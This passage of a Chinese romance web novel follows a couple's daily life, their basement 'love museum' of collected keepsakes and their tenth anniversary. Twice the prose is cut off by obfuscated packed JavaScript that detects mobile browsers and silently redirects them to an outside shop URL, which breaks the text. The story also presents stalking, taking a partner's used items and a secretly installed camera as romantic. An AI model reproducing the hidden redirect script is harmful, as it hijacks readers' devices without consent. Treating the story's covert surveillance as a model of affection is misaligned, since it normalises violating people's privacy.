但陆知许很满足。 --- 第三卷:办公室的秘密 【场景:上午十点,谢砚的办公室】 谢砚坐在办公桌前,正在批改学生的论文。 但他的目光,总是不自觉地飘向抽屉。 那里面,有陆知许今早偷偷塞进去的东西。 一个小盒子。 他打开盒子,里面是一张照片。 照片上,陆知许站在他们家的阳台上,对着镜头笑。 阳光照在他身上,给他镀上一层金色的光。 照片背面,有一行字: “想我的时候,就看看我。——知许” 谢砚笑了。 他把照片拿出来,放在桌上,用笔筒挡住,只露出一点点。 这样,他工作的时候,一抬头就能看见。 一整个上午,他看了那张照片很多次。 每次看,嘴角都会不自觉地扬起。 中午休息的时候,他拿出手机,给陆知许发消息: “照片收到了。” 很快,回复来了: “喜欢吗?” “喜欢。” “那就好。” 谢砚想了想,又发了一条: “晚上早点回来。” “好。” 发完,他把手机收起来,继续工作。 但心里,已经开始期待晚上了。 --- 第四卷:出版社的日常 【场景:下午三点,出版社编辑部】 陆知许坐在工位上,正在审稿。 他的工作是图书编辑,每天要看大量的稿件。 以前他觉得很枯燥。 但现在,他觉得很幸福。 因为这份工作,是谢砚帮他选的。 “你适合这个,”谢砚当时说,“安静,稳定,能做自己喜欢的事。” 他听了谢砚的话,选了这份工作。 现在,他真的很喜欢。 不是因为工作本身,是因为—— 这是谢砚为他选的。 下午三点半,手机震动了一下。 是谢砚的消息: “下午茶时间。记得休息。” 陆知许笑了。 他放下笔,起身去茶水间泡了杯茶。 茶是谢砚给他准备的,大红袍,装在茶叶罐里。 那个茶叶罐,就是当年谢砚送他的那个。 他一直在用。 三年了,茶叶喝完了就添,但罐子没换过。 因为这是谢砚送的。 泡好茶,他回到工位,一边喝一边看手机。 相册里,有几百张谢砚的照片。 有结婚那天拍的,有日常偷拍的,有谢砚睡着时偷偷拍的。 每一张,他都仔细分类,标注日期和地点。 最新的一张,是今天早上拍的—— 谢砚系围巾的样子。 阳光从窗户照进来,在他身上镀上一层金色的光。 他微微低着头,睫毛很长,嘴角带着温柔的笑。 陆知许看着那张照片,看了很久。 然后他保存,锁屏,继续工作。 但心里,满满的,都是谢砚。 --- 第五卷:收藏柜的更新 【场景:傍晚六点,家里的地下室】 陆知许下班回来,第一件事就是去地下室。 那里,有他们的收藏柜。 三年了,柜子里的东西越来越多。 最上层,是谢砚的东西—— 那枚钢笔笔帽,那个茶叶罐,那条银色的锁链手链,还有谢砚第一次给他泡茶时用过的茶杯。 第二层,是陆知许的东西—— 那条月亮项链,那枚订婚戒指,那张毕业照,还有谢砚第一次送他的那本相册。 第三层,是他们共同的东西—— 结婚证复印件,蜜月旅行的机票,第一次一起逛超市的收据,还有一本厚厚的相册,记录着他们在一起的每一天。 每一件,都摆放得整整齐齐。 每一件,都有标签,注明日期和意义。 陆知许站在柜子前,看着这些收藏,心里涌起一股奇异的满足感。 这是他们的爱情博物馆。 只属于他们两个人的。 他拿出手机,拍了一张照片,发给谢砚: “今天又添了几样东西。” 很快,回复来了: “晚上回去看。” 陆知许笑了。 他关掉灯,锁上门,离开地下室。 走在楼梯上,他还在想,下次要添什么进去。 谢砚下次出差时的机票? 还是…… 算了,到时候再说。 反正他们还有一辈子的时间。 --- 第六卷:晚餐的博弈 【场景:晚上七点,家里】 谢砚回来的时候,陆知许已经在厨房忙活了。 系着围裙,拿着锅铲,看起来很认真。 谢砚走过去,从背后抱住他。 “回来了?”陆知许没回头,但嘴角已经扬起来。 “嗯,”谢砚把下巴抵在他肩上,“做什么?” “红烧肉,”陆知许说,“您喜欢的。” 谢砚笑了。 他轻轻吻了吻陆知许的耳垂,然后松开手,去换衣服。 等他换好衣服出来,饭菜已经上桌了。 红烧肉,清炒西兰花,番茄蛋汤,还有两碗米饭。 很简单,但看起来很丰盛。 两个人面对面坐下,开始吃饭。 “好吃。”谢砚夹了块红烧肉,点头。 陆知许笑了:“那就多吃点。” 两个人安静地吃饭,偶尔说几句话。 吃完,陆知许收拾碗筷,谢砚去洗碗。 分工明确,配合默契。 洗完碗,两个人窝在沙发上看电视。 谢砚搂着陆知许,陆知许靠在他怀里。 电视里放的是什么,两个人都没看进去。 “今天想我了吗?”谢砚问。 “想了,”陆知许说,“每分每秒都在想。” 谢砚笑了:“我也是。” 他低头,在陆知许额头上印下一个吻。 陆知许抬起头,吻住他的嘴唇。 很温柔的吻,很缠绵。 吻完,两个人都有些喘。 “今天……”陆知许小声说,“有新收藏吗?” 谢砚想了想,从口袋里拿出一个小东西。 是一张收据。 “今天中午吃饭的收据,”他说,“上面有我的指纹。” 陆知许接过收据,仔细看了看,然后小心翼翼地收进口袋里。 “谢谢。”他说。 谢砚笑了:“不客气。” 两个人继续窝在沙发里,看那部根本没看进去的电视剧。 但谁都不在意。 因为只要在一起,就够了。 --- 第七卷:睡前的仪式 【场景:晚上十一点,卧室】 陆知许洗完澡出来,谢砚已经在床上了。 靠在床头,手里拿着一本书,戴着眼镜。 陆知许走过去,爬上床,钻进他怀里。 谢砚放下书,摘下眼镜,搂住他。 “困了?”他问。 “嗯,”陆知许点头,“有点。” “那就睡吧。” 陆知许闭上眼睛,但没有立刻睡着。 他在等。 等那个每晚都有的仪式。 果然,几秒后,谢砚开口了: “知许。” “嗯?” “我爱你。” 陆知许睁开眼睛,看着谢砚。 谢砚也看着他,深褐色的眼睛里盛满了温柔。 “我也爱你。”陆知许说。 然后他凑过去,在谢砚唇上印下一个吻。 吻完,他重新缩回谢砚怀里,闭上眼睛。 谢砚轻轻拍着他的背,像哄小孩一样。 很快,陆知许的呼吸变得均匀,睡着了。 谢砚看着他安静的睡颜,嘴角扬起一个温柔的笑。 然后他也闭上眼睛,抱着怀里的人,慢慢进入梦乡。 窗外,月亮很亮。 洒在他们身上,洒在他们交握的手上。 两枚戒指,在月光下闪着温润的光。 像他们的爱情。 经历过风雨,依然熠熠生辉。 经历过考验,依然坚定如初。 --- 第八卷:周末的“战争” 【场景:周六早上,卧室】 陆知许醒来时,谢砚已经不在身边了。 他愣了一下,然后听到厨房里传来的声音。 谢砚在做早饭。 陆知许笑了,翻了个身,打算再赖一会儿床。 但刚闭上眼,就感觉到有人进来了。 “醒了?”谢砚的声音在耳边响起。 陆知许睁开眼,看见谢砚端着一个托盘站在床边。 托盘上,是两份早餐。 煎蛋,吐司,牛奶,还有一小碟水果。 “早餐在床?”陆知许有些惊讶。 “周末特别服务。”谢砚说,把托盘放在床头柜上。 陆知许坐起来,谢砚在他身边坐下。 两个人靠着床头,一起吃早餐。 很温馨,很甜蜜。 吃完,谢砚把托盘拿走,回来时手里拿着一个小盒子。 “这是什么?”陆知许问。 “礼物。”谢砚说,把盒子递给他。 陆知许打开盒子,里面是一条新的项链。 很细的银链子,吊坠是一枚小小的钥匙。 和他当年送给谢砚的那枚一模一样。 “这是……”陆知许抬起头。 “配对的。”谢砚说,从脖子上拉出他自己的项链。 那上面,是陆知许当年送他的那枚钥匙。 “你的是钥匙,我的是锁。”谢砚说,“我们是彼此的。” 陆知许的眼泪差点掉下来。 他抱住谢砚,把脸埋在他怀里。 “谢谢您……”他小声说。 谢砚笑了,轻轻拍着他的背。 “傻瓜,”他说,“该谢谢的是我。” 两个人抱了很久。 然后陆知许抬起头,眼睛红红的,但很亮。 “帮我戴上。”他说。 谢砚拿起项链,小心地戴在他脖子上。 两枚钥匙,并排贴在陆知许的胸口。 一枚是谢砚送他的。 一枚是他送谢砚的。 都是爱情的见证。 都是彼此的证明。 陆知许摸了摸那两枚钥匙,笑了。 “这样,我们就是彼此的了。”他说。 谢砚点头:“一直都是。” 窗外的阳光很好。 照在两个人身上,暖洋洋的。 新的一天,又开始了。 而他们,会继续这样—— 互相收藏,互相占有,互相爱着。 一辈子。 --- 第九卷:来访的“不速之客” 【场景:周六下午,家里】 门铃响的时候,陆知许正在客厅看书,谢砚在书房写论文。 “谁啊?”陆知许放下书,去开门。 门外站着三个人。 陈宇、李锐、张子轩。 “Surprise!”三个人齐声喊。 陆知许愣住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301365|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你们怎么来了?” “来看你啊,”陈宇挤进来,“好久没见了,想你了。” 李锐和张子轩也跟着进来,一进门就开始打量。 “可以啊老陆,”李锐说,“房子不错,收拾得挺干净。” “谢教授呢?”张子轩问。 “在书房。”陆知许说。 话音刚落,谢砚从书房出来了。 穿着家居服,戴着眼镜,手里还拿着笔。 看见三个不速之客,他愣了一下,然后笑了。 “来了?”他问,很自然。 “谢教授好!”三个人齐声打招呼。 谢砚点点头:“坐,我去泡茶。” 他转身去厨房,陆知许招呼三个人在沙发上坐下。 “你们怎么突然来了?”陆知许问。 “就是突然想你了,”陈宇说,“顺便看看你和谢教授过得怎么样。” “挺好的。”陆知许说。 “看得出来,”李锐环顾四周,“这家里到处都是你们俩的痕迹。” 确实。 客厅的墙上,挂着他们的结婚照。 茶几上,摆着他们的合照。 书架上,有谢砚的书,也有陆知许的笔记。 每一个角落,都有两个人的气息。 谢砚端着茶出来,给每人倒了一杯。 “谢谢谢教授。”三个人接过茶。 “不用客气,”谢砚说,“把这里当自己家。” 他在陆知许身边坐下,很自然地搂住他的肩。 三个人看着这个动作,交换了一个眼神。 “你们俩……”陈宇开口,“一直都这么腻歪吗?” 陆知许的脸红了:“哪有……” “有。”谢砚说,很坦然。 三个人都笑了。 “行行行,你们继续腻歪,”李锐说,“我们就是来看看,看完就走。” “这么快?”陆知许有些惊讶。 “嗯,晚上还有事,”张子轩说,“就是路过,顺便看看。” 三个人喝完茶,又聊了一会儿,就起身告辞了。 送走他们,陆知许回到客厅,看见谢砚正在收拾茶杯。 “他们就是来看看我们。”陆知许说。 “嗯,”谢砚点头,“朋友挺好的。” 陆知许走过去,从背后抱住他。 “怎么了?”谢砚问。 “没什么,”陆知许把脸埋在他背上,“就是想抱抱您。” 谢砚笑了。 他放下茶杯,转过身,把陆知许搂进怀里。 “那就抱。”他说,“抱多久都行。” 陆知许笑了。 两个人就那么抱着,在午后的阳光里。 很久很久。 --- 第十卷:深夜的坦白 【场景:周六晚上,卧室】 晚上,两个人躺在床上,都还没睡。 陆知许翻了个身,面向谢砚。 “谢砚。”他小声叫他的名字。 “嗯?” “我问您一个问题。” “问。” 陆知许犹豫了一下,然后说:“您觉得……我们变态吗?” 谢砚愣了一下。 然后他笑了。 “你觉得呢?”他反问。 “我觉得……”陆知许想了想,“有点。” “哪里变态?” “我收藏您的东西,”陆知许说,“头发、照片、用过的东西……正常人不会这样。” 谢砚点点头:“嗯,确实。” 陆知许的心沉了一下。 但谢砚继续说:“但我收藏你的东西,也差不多。照片、录音、你写给我的每一张纸条……” 他顿了顿,看着陆知许的眼睛。 “所以我们是绝配。” 陆知许的眼睛亮了起来。 “真的?” “真的,”谢砚说,“变态配变态,刚好。” 陆知许笑了。 他往谢砚怀里蹭了蹭。 “那您喜欢这样的我吗?”他小声问。 谢砚搂紧他。 “喜欢,”他说,“非常喜欢。” “为什么?” “因为这样的你,只属于我。” 陆知许的心跳漏了一拍。 “只有我知道你的秘密,”谢砚继续说,“只有我看见过你的收藏柜,只有我能让你露出那种满足的笑。” 他的声音很轻,但很坚定。 “所以,你是我的。” 陆知许的眼泪差点掉下来。 他把脸埋在谢砚怀里,小声说:“您也是我的。” “嗯,”谢砚说,“一直都是。” 窗外月色如水。 洒在两个人身上。 像一场无声的誓言。 誓言要一直这样—— 变态下去。 甜蜜下去。 在一起下去。 永远。 --- 第十一卷:收藏柜的新成员 【场景:周日下午,地下室】 陆知许站在收藏柜前,手里拿着一个小盒子。 这是谢砚昨天送他的那枚钥匙项链。 他已经戴在脖子上了。 但盒子,他想收藏起来。 他打开玻璃柜门,在最上层找了个空位,把盒子放进去。 旁边,是谢砚送他的那枚锁链手链。 两样东西并排,像一对。 陆知许看着它们,嘴角扬起一个满足的笑。 然后他拿出手机,拍了一张照片。 发给谢砚: “新成员。” 很快,回复来了: “看到了。位置不错。” 陆知许笑了。 他关掉柜门,锁好,离开了地下室。 回到客厅,谢砚正在看书。 看见他上来,放下书,问:“放好了?” “嗯。”陆知许走过去,在他身边坐下。 谢砚伸手搂住他。 “下次送你什么好呢?”他若有所思地说。 陆知许愣了一下:“还要送?” “当然,”谢砚说,“每个月都要送。这样你的收藏柜,就会一直有新的东西。” 陆知许的眼睛亮了起来。 “真的?” “真的。” 陆知许笑了。 他靠在谢砚肩上,小声说:“那我也会一直送您。” “送什么?” “送……我做的钥匙扣,我写的日记,我拍的您的照片……” 谢砚点头:“好。我等着。” 两个人靠在沙发上,看着窗外的夕阳。 很安静,很温馨。 但他们的心里,都在盘算着—— 下次送什么好呢? 要让对方惊喜。 要让对方开心。 要让对方…… 更爱自己。 这就是他们的爱情。 变态的,甜蜜的,独一无二的。 属于陆知许和谢砚的。 永远的。 --- 第十二卷:永远的永远 【场景:深夜,卧室】 夜深了。 陆知许已经睡着,蜷缩在谢砚怀里,呼吸均匀。 谢砚没有睡。 他就那么躺着,看着怀里的人,看了很久。 三年了。 从相识到现在,三年了。 三年里,他们经历了很多—— 林薇的威胁,学院的调查,毕业的分离,婚后的磨合。 但他们都走过来了。 而且比以前更相爱。 谢砚轻轻抬起手,抚过陆知许的头发。 很软,和他第一次见到时一样。 他又摸了摸陆知许脖子上的项链——两枚钥匙,并排贴着胸口。 那是他送的,和陆知许送他的。 都是钥匙。 都是锁。 都是彼此的证明。 谢砚笑了笑,闭上眼睛。 在心里默念: 知许。 我的知许。 永远都是。 窗外,月亮西沉。 天快亮了。 新的一天,又要开始了。 而他们会继续这样—— 在一起。 相爱。 变态。 永远。 32. 番外5[番外] 楔子 十年的时间,有多长? 三千六百五十天。 八万七千六百个小时。 五百二十五万六千分钟。 对陆知许来说,这十年,只做了一件事—— 爱谢砚。 对谢砚来说,这十年,也只做了一件事—— 被陆知许爱着,同时爱着陆知许。 十周年纪念日这天,他们决定做一件特别的事。 把他们的“爱情博物馆”,正式对外开放。 虽然观众只有两个人。 但他们不在乎。 因为这是属于他们的。 只属于他们的。 --- 第一卷:博物馆的诞生 【时间:十周年纪念日上午】 【地点:家里的地下室】 “准备好了吗?” 谢砚站在地下室门口,看着身边的陆知许。 陆知许点点头,深吸一口气,推开了门。 门后,是一个宽敞的空间。 十年前,这里只是一个狭小的地下室,只能放一个小小的玻璃柜。 现在,这里被扩建了,变成了一个真正的“博物馆”。 四面的墙上,挂着大大小小的相框。 中间是一排玻璃展柜,里面陈列着各种各样的物品。 每个展柜上都有标签,写着年份和说明。 灯光柔和地洒下来,营造出一种庄重而温馨的氛围。 陆知许站在门口,看着这一切,眼眶有些发热。 “十年前的今天,”他小声说,“我们在这个地下室,第一次一起看收藏柜。” “嗯,”谢砚点头,“那时候只有一个柜子,里面放着你的收藏。” “还有您的。”陆知许纠正他。 谢砚笑了:“对,还有我的。” 两个人手牵手,慢慢走进博物馆。 第一个展柜,年份标注着“第一年”。 里面放着—— 那枚钢笔笔帽。 那个茶叶罐。 那条银色的锁链手链。 那枚月亮项链。 还有一本日记本,翻开的那一页,是陆知许的字迹: “今天,他第一次吻了我。” 陆知许看着那些东西,嘴角扬起一个温柔的笑。 “那时候真傻,”他说,“偷偷收藏您的东西,以为您不知道。” “我知道。”谢砚说。 “知道还假装不知道?” “因为想看你能收藏多少。”谢砚笑了,“结果发现,你比我还能藏。” 陆知许瞪他一眼,但眼里全是笑意。 两个人继续往前走。 第二个展柜,年份标注着“第二年”。 里面放着—— 他们的订婚戒指。 结婚证的复印件。 蜜月旅行的机票。 还有一本厚厚的相册,封面写着:“我们的婚礼”。 陆知许翻开相册,第一页是他们交换戒指的照片。 照片上,两个人都笑得很开心,眼睛亮亮的。 “那时候真年轻。”陆知许说。 “现在也不老。”谢砚说。 “三十八了,还不老?” “在我眼里,永远都是二十岁。” 陆知许的脸微微发热。 十年了,谢砚还是这么会说话。 第三个展柜,年份标注着“第三年”。 里面放着—— 陆知许第一次做的钥匙扣,很粗糙,刻痕不深,但谢砚一直留着。 谢砚第一次做的相册,里面全是陆知许的照片,每一张下面都有手写的日期和备注。 还有一张纸条,是陆知许写的: “今天吵架了,但最后还是和好了。原来吵架也可以很甜。” 谢砚看着那张纸条,笑了。 “记得那次为什么吵架吗?”他问。 “记得,”陆知许说,“因为您不让我吃冰淇淋。” “那是冬天。” “冬天也可以吃冰淇淋。” “会拉肚子。” “我没拉。” “那次没拉,不代表下次不会。” 陆知许看着他,突然笑了。 “您就是这样,”他说,“什么事都管着我。” “不好吗?”谢砚问。 “好,”陆知许靠在他肩上,“特别好。” 两个人继续往前走。 第四个展柜,第五个展柜,第六个展柜…… 每一年,都有新的收藏。 每一年,都有新的故事。 走到第十个展柜前,陆知许停住了。 这个展柜,标注着“第十年”。 里面放着—— 他们刚拍的全家福。 一张纸条,上面写着:“十年了,还是和第一天一样爱你。” 还有一个小盒子,没有打开。 “这是什么?”陆知许问。 “打开看看。”谢砚说。 陆知许打开盒子。 里面是一对新的戒指。 很简单的款式,银色的,内侧刻着一行字: “L & X,二十年。” 陆知许愣住了。 “二十年?”他抬起头,“现在才十年……” “提前准备的,”谢砚说,“二十周年的时候戴。” 陆知许的眼泪差点掉下来。 “您怎么知道我们能走到二十周年?” 谢砚看着他,眼神很深。 “因为我不会让你离开,”他说,“永远都不会。” 陆知许笑了。 他把盒子盖上,放回展柜。 “那就二十周年的时候再戴。”他说。 “好。”谢砚点头。 --- 第二卷:展品的故事 【时间:十周年纪念日下午】 【地点:爱情博物馆】 参观完所有展柜,两个人坐在博物馆中央的沙发上,慢慢聊着每一件展品背后的故事。 “还记得这个吗?”谢砚拿出一个小东西。 是一张皱巴巴的纸巾。 陆知许愣了一下,然后想起来了。 “这是我第一次去咖啡厅跟踪您的时候,拿走的您用过的纸巾。” “嗯,”谢砚点头,“我在垃圾桶里找回来的。” 陆知许睁大眼睛:“您找回来的?” “对,”谢砚说,“那天我看见你拿走纸巾了。你走后,我从垃圾桶里找出来,收藏了。” 陆知许不知道该说什么。 他一直以为自己是那个“变态”。 原来谢砚比他还变态。 “还有这个。”谢砚又拿出一样东西。 是一根头发。 很细,很软,浅褐色的。 “我的头发?”陆知许问。 “嗯,”谢砚点头,“你第一次来办公室的时候,掉在椅子上的。我捡起来,收藏了。” 陆知许的脸红了。 “您怎么什么都收藏……” “因为是你的一切。”谢砚说,很认真,“你的每一根头发,每一片指甲,每一滴眼泪,我都想收藏。” 陆知许的心脏漏跳了一拍。 “谢砚……”他小声叫他的名字。 “嗯?” “您真的……” “真的变态?”谢砚接过话,“对,我是。所以我们是绝配。” 陆知许笑了。 他靠在谢砚肩上,看着那些展品,心里满满的,都是幸福。 “您知道我最喜欢哪件展品吗?”他问。 “哪件?” 陆知许站起来,走到第一个展柜前,指着那枚钢笔笔帽。 “这个,”他说,“我们的开始。” 谢砚走过去,站在他身边。 “如果不是这个笔帽,”陆知许说,“我可能永远不敢靠近您。” “如果不是你撞翻我的咖啡,”谢砚说,“我可能永远不知道,有人在偷偷喜欢我。” 两个人对视一眼,都笑了。 “所以,”陆知许说,“要感谢这杯咖啡。” “还有这个笔帽。”谢砚补充。 “还有这个地下室。” “还有这些收藏。” “还有……” 陆知许想了想,说:“还有您。” 谢砚笑了:“还有你。” 两个人拥抱在一起,在博物馆的灯光下。 周围,是他们十年的爱情见证。 每一件展品,都是一个故事。 每一个故事,都是他们的一部分。 --- 第三卷:意外的发现 【时间:十周年纪念日傍晚】 【地点:爱情博物馆】 参观完博物馆,两个人准备离开。 陆知许突然想起什么。 “等等,”他说,“我记得有个角落还没看过。” 他走到博物馆最里面的一个角落。 那里,有一个小小的展柜,用布盖着。 “这是什么?”陆知许问。 谢砚愣了一下:“我不知道。” “您不知道?” “不是我放的。”谢砚说。 陆知许的心跳漏了一拍。 他伸手,掀开那块布。 展柜里,放着几样东西—— 一本日记本,封面上写着:“谢砚的秘密日记”。 一个U盘,标签上写着:“陆知许的偷拍合集”。 还有一张照片,是他们第一次见面的地方——图书馆报告厅门口。 照片背面,写着一行字: “给十年后的我们。——来自十年前的自己” 陆知许愣住了。 他看向谢砚,谢砚也愣住了。 “这是……”陆知许的声音在颤抖。 谢砚拿起那本日记本,翻开。 第一页,是他的笔迹: “9月10日,晴。开学第一课,被一个迟到的学生撞翻了咖啡。他叫陆知许。看起来很普通。但眼睛不会骗人。” 他继续往后翻。 每一页,都是他的日记。 从他认识陆知许的第一天,到现在。 他明明记得,这些日记一直放在书房。 怎么会出现在这里? “还有这个。”陆知许拿起那个U盘。 他找了一台电脑,插进去。 里面是一个视频。 视频里,是他们第一次在办公室接吻的画面。 不是偷拍,是…… 是从一个很奇怪的角度拍的。 像是从天花板上的某个地方。 陆知许抬起头,看向天花板。 那里,有一个小小的摄像头。 “这是……”他的声音在颤抖。 谢砚也抬起头,看着那个摄像头。 然后他笑了。 “是我装的。”他说。 陆知许愣住了。 “您装的?” “嗯,”谢砚点头,“第一次你离开后,我装的。想看看你不在的时候,我会不会想你。” “结果呢?” “结果发现,”谢砚看着他,“你不在的时候,我满脑子都是你。” 陆知许不知道该说什么。 他只是抱住谢砚,把脸埋在他怀里。 “您真的太变态了。”他小声说。 谢砚笑了:“彼此彼此。” 两个人抱了很久。 然后陆知许松开手,看着那个展柜。 “这些东西,是谁放在这里的?”他问。 谢砚想了想,说:“可能是我们自己。” 陆知许愣了一下。 然后他明白了。 “十年前的我们,”他说,“给十年后的我们,准备的礼物。” 谢砚点头。 陆知许笑了。 他拿起那张照片,看着照片上的图书馆报告厅门口。 那里,有一个穿着白衬衫的少年,正要走进去。 那是十年前的陆知许。 还不知道,里面有一个叫谢砚的人,会改变他的一生。 陆知许把照片放回展柜,盖上布。 “留给二十年的我们看。”他说。 “好。”谢砚点头。 两个人手牵手,离开了博物馆。 身后,那些展品静静地陈列着。 等待着下一个十年。 等待着他们的再次到来。 --- 第四卷:纪念日晚餐 【时间:十周年纪念日晚上】 【地点:家里】 从地下室上来,谢砚去做饭,陆知许去换衣服。 等陆知许换好衣服出来,餐桌上已经摆好了晚餐。 烛光,红酒,牛排,还有一小块蛋糕。 很浪漫,很正式。 陆知许在餐桌前坐下,看着对面的谢砚。 烛光映在他脸上,让他的轮廓显得格外温柔。 “十周年快乐。”谢砚举起酒杯。 “十周年快乐。”陆知许也举起酒杯。 两个人碰杯,喝了一口。 “十年了,”陆知许说,“感觉像昨天一样。” “嗯,”谢砚点头,“时间过得真快。” “后悔吗?”陆知许突然问。 谢砚愣了一下:“后悔什么?” “后悔……和我在一起。” 谢砚看着他,眼神很深。 “不后悔,”他说,“从来都不后悔。” 陆知许笑了。 “我也是。”他说。 两个人继续吃饭,偶尔说几句话。 吃完,谢砚拿出一个小盒子。 “礼物。”他说。 陆知许接过盒子,打开。 里面是一条新的项链。 吊坠是一枚小小的锁。 和十年前那条钥匙项链,正好配成一对。 “钥匙在你那里,”谢砚说,“锁在我这里。我们是彼此的。” 陆知许的眼泪差点掉下来。 他拿出自己脖子上的那两枚钥匙项链——一枚是他送谢砚的,一枚是谢砚送他的。 现在,又多了一枚锁。 三枚吊坠,并排贴着胸口。 “帮我戴上。”他说。 谢砚拿起项链,小心地戴在他脖子上。 三枚吊坠,在灯光下闪着温润的光。 “好看吗?”陆知许问。 “好看。”谢砚说。 陆知许笑了。 他从口袋里也拿出一个小盒子。 “我的礼物。”他说。 谢砚打开盒子。 里面是一枚戒指。 和他现在戴的那枚一模一样,但内侧刻的字不一样: “十年,不是终点。” 谢砚看着那行字,笑了。 他摘下原来的戒指,戴上新的。 原来的那枚,陆知许收起来,放进口袋。 “放进博物馆。”他说。 “好。”谢砚点头。 两个人相视一笑。 十周年,就这样过去了。 但他们都觉得,这只是开始。 --- 第五卷:深夜的对话 【时间:十周年纪念日深夜】 【地点:卧室】 夜深了。 陆知许躺在床上,睡不着。 谢砚也没睡,靠在床头,轻轻抚摸着他的头发。 “在想什么?”谢砚问。 “在想……”陆知许顿了顿,“在想下一个十年。” “下一个十年怎么了?” “不知道会是什么样子。” 谢砚沉默了几秒。 然后他说:“不管什么样子,我都会在你身边。” 陆知许抬起头,看着他。 月光从窗帘缝隙洒进来,照在谢砚脸上。 他的眼睛很亮,很温柔。 “真的吗?”陆知许问。 “真的。”谢砚说,“下一个十年,下下个十年,每一个十年。” 陆知许的眼泪终于掉下来。 不是难过,是感动。 感动于这个人的承诺。 感动于这个人的陪伴。 感动于他们的爱情。 “谢砚。”他叫他的名字。 “嗯?” “谢谢你。” “谢什么?” “谢谢您等我,谢谢您爱我,谢谢您……陪我走过这十年。” 谢砚笑了。 他低下头,在陆知许额头上印下一个吻。 “该谢谢的是我,”他说,“谢谢你出现,谢谢你愿意被我收藏,谢谢你……让我拥有你。” 陆知许抱住他,把脸埋在他怀里。 两个人抱了很久。 窗外,月亮很亮。 洒在他们身上,洒在他们交握的手上。 三枚吊坠,两枚戒指,在月光下闪着温润的光。 像他们的爱情。 经历过风雨,依然熠熠生辉。 经历过考验,依然坚定如初。 --- 第六卷:未来的信 【时间:十周年纪念日凌晨】 【地点:书房】 陆知许睡不着,悄悄爬起来,去了书房。 他打开电脑,新建一个文档。 开始打字: “给二十年后的我们: 现在是凌晨三点,我睡不着。 因为太开心了。 十周年,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301366|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起走过了。 十年前,我还在偷偷喜欢您,不敢说出口。 现在,我可以光明正大地抱着您,叫您的名字。 这种感觉,真好。 不知道二十年后的我们,会是什么样子? 您还会像现在这样,每天早上给我做早餐吗? 还会像现在这样,晚上抱着我睡觉吗? 还会像现在这样,说爱我吗? 我希望会。 因为我不想失去您。 永远都不想。 二十年后的知许,如果你看到这封信,请告诉谢砚—— 我还是像十年前一样爱他。 不,比十年前更爱。 好了,就写到这里。 该回去睡觉了。 不然谢砚会发现我不在,又要担心了。 晚安,二十年后的我们。 ——十年前的知许” 写完后,陆知许把信打印出来,折好,放进一个小盒子里。 盒子上写着:“给二十年后的我们”。 他拿着盒子,悄悄走进地下室,把它放进那个神秘的展柜里。 和十年前的那封信放在一起。 然后他回到卧室,轻手轻脚地爬上床。 谢砚还在睡,没有醒。 陆知许缩进他怀里,闭上眼睛。 嘴角带着笑。 心里想着—— 二十年后的我们,看到这封信,会是什么表情呢? 一定很有趣。 一定很温馨。 一定…… 很幸福。 --- 第七卷:清晨的发现 【时间:十周年纪念日第二天早上】 【地点:卧室】 陆知许醒来时,谢砚已经不在身边了。 他愣了一下,然后听到书房里传来的声音。 他起身,走过去。 谢砚坐在书桌前,手里拿着一封信。 是陆知许昨晚写的那封。 “您怎么……”陆知许愣住了。 谢砚转过头,看着他,眼里带着笑意。 “半夜醒来发现你不在,”他说,“去找你,看见你在地下室放东西。” 陆知许的脸红了。 “您看见了?” “嗯,”谢砚点头,“看见了。” 陆知许低下头,不敢看他。 谢砚站起来,走到他面前。 “知许,”他说,“抬起头。” 陆知许抬起头。 谢砚看着他,眼神很深。 “我也写了一封。”他说。 陆知许愣住了。 谢砚拿起桌上的另一封信,递给他。 陆知许接过来,打开。 “给二十年后的我们: 现在是凌晨四点,知许刚睡着。 他以为我不知道他偷偷起来了。 其实我知道。 他的一举一动,我都知道。 二十年后的我,如果你看到这封信—— 请告诉知许,我还是像现在一样爱他。 不,比现在更爱。 请告诉知许,不管多少年过去,他都是我唯一想要的人。 请告诉知许,我会一直在他身边,永远不离开。 好了,就写到这里。 该回去抱着他睡觉了。 晚安,二十年后的我们。 ——十年前的谢砚” 陆知许的眼泪掉下来了。 他抱住谢砚,把脸埋在他怀里。 “您……”他的声音在颤抖。 谢砚轻轻拍着他的背。 “傻瓜,”他说,“你以为只有你会写信吗?” 陆知许笑了,又哭了。 两种情绪混在一起,让他不知道该说什么。 只能抱着谢砚,一直抱着。 很久很久。 --- 第八卷:博物馆的留言簿 【时间:十周年纪念日第二天下午】 【地点:爱情博物馆】 博物馆里,多了一样东西。 一本留言簿。 放在入口处的展台上,谁都可以写。 虽然观众只有他们两个。 陆知许拿起笔,翻开留言簿。 第一页,是谢砚的笔迹: “十年了。还是和第一天一样爱你。” 陆知许笑了。 他在下面接着写: “我也是。” 然后他继续往后翻。 翻到最后一页,看见一行字: “给下一个十年的我们: 要一直幸福下去哦。 ——十年前的知许和谢砚” 陆知许看着那行字,眼眶有些发热。 他拿起笔,在那行字下面加了一句: “一定会的。” 写完,他合上留言簿,放回原处。 转身,谢砚正站在门口,看着他。 “写完了?”谢砚问。 “嗯,”陆知许点头,“写完了。” 谢砚走过来,牵起他的手。 “走吧,”他说,“回家。” 陆知许点点头,跟着他走出博物馆。 身后,那些展品静静地陈列着。 每一件,都是他们的故事。 